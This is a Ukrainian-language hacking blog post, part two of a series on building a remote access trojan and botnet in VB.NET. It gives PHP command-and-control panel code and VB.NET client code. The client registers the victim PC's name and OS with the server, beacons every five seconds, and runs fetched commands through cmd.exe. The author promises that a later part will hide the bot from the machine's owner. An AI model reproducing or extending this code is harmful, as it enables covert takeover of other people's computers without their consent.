Вірусологія

На фіг backdoor, робимо rat VB.NET (Частина 2)

01.02.2022

277

Я вирішив те що нікому не цікавий звичайний backdoor, тому ми з вами зробимо ботнеть мережу, і зможемо керувати пк через CMD.
Я обіцяв, що ми приховаємо наш клієнт від господаря пк, але не зараз, тому що треба спочатку налагодити всі наші функції ботнету, я вирішив навчити його виконувати команди, запам’ятовувати виконані, показувати що бот онлайн, а ще реєструватися в мережі.

Отже, спочатку я зробив БД, де створив 3 таблиці

Де bots – загальна кількість ботів
commands команди
online – боти онлайн
Кількість стовпців у таблиці робіть для себе самі, так як вам зручно) на відео видно, що я не став заморочуватися=)

Далі я просто пішов писати вебобмотку,

На фіг backdoor, робимо rat VB.NET (Частина 2)

config файл з налаштуваннями…

Показати / Приховати текст

$db = mysql_connect (“localhost”,“ім’я користувача БД”,“пароль”);
mysql_select_db (“сама БД”,$db);

В index я виводжу дані з бд

Показати / Приховати текст

add додає бота в мережу

Показати / Приховати текст

online за кодом = add тільки записує в іншу таблицю

Файл com виводить нашу команду для бота

Показати / Приховати текст

bots і on в даний момент не використовуються…

Ну а клієнт ми писали в першій частині
https://happy-hack.ru/other/12890-delaem-backdoor-vb-net.html

А зараз розповім, що ж я змінив:
1) я змінив теги для команди

2) змінив у таймере1 умова виконання, що б у нас команда виконувалася лише 1 раз.

Показати / Приховати текст

If InStr(Str, R(0)) 0 Then
Dim Tmp As String = Str.Split(R, StringSplitOptions.None)(1)
Dim Res As String = Tmp.Split(L, StringSplitOptions.None)(0)
Wait(2)
If My.Settings.com = Res Then
Else
Shell(“cmd.exe “ + Res)
My.Settings.com = Res
My.Settings.Save()
End If
Else
End If

3) Додав ще одну глобальну змінну

Показати / Приховати текст

Public botname3 As String

4) При завантаженні форми відправляю дані про боте, і запускаю другий таймер на додаток до першого

Показати / Приховати текст

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
www = “localhost”
Dim botname As String = My.Computer.Name & My.Computer.Info.OSFullName
Dim botname2 As String = botname.Replace(” “, “”)
botname3 = botname2.Replace(“.”, “”)
WC.DownloadString(www & “add.php?name=” & botname3)
Timer1.Enabled = True
Timer1.Interval = 5000
Timer2.Enabled = True
Timer2.Interval = 5000
End Sub

5) Ну і зробив отстук через другий таймер

Показати / Приховати текст

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
WC.DownloadString(www & “online.php?name=” & botname3)
End Sub

P. S. Я знаю що багатьом би краще, що б я зробив готову програму, що я і зроблю, але буде ще 3 частина, де ми приховаємо наш бот.